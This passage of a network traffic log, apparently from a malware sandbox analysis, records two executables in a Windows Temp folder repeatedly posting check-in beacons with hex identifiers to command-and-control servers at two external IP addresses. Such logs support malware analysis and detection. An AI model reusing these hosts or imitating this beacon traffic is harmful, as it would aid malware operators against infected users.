Apr 18, 2024 23:40:25.238925934 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:25.494062901 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49803	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:25.207683086 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:25.455415964 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:25.456655979 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:25.708523035 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49805	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:25.858546019 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:26.105838060 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:26.106524944 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:26.359817982 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49806	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:26.060796022 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:26.308005095 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:26.308640003 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:26.559353113 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49807	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:26.730767012 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:26.981812000 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:26.982569933 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:27.238420010 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49808	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:26.921710014 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:27.168888092 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:27.172394037 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:27.423984051 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49809	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:27.587457895 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:27.827727079 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:27.828665972 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:28.073714018 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49810	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:27.782500029 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:28.031285048 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:28.047354937 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:28.302411079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49813	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:28.620909929 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:28.864799976 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:28.868670940 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:29.117234945 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49814	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:28.653913975 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:28.897907972 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:28.902760983 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:29.151168108 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49817	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:29.569932938 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:29.811435938 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:29.812863111 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:30.059195042 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49819	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:29.574583054 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:29.819933891 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:29.822926044 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:30.070494890 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49823	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:30.424638987 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:30.674479961 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:30.679116011 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:30.933996916 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
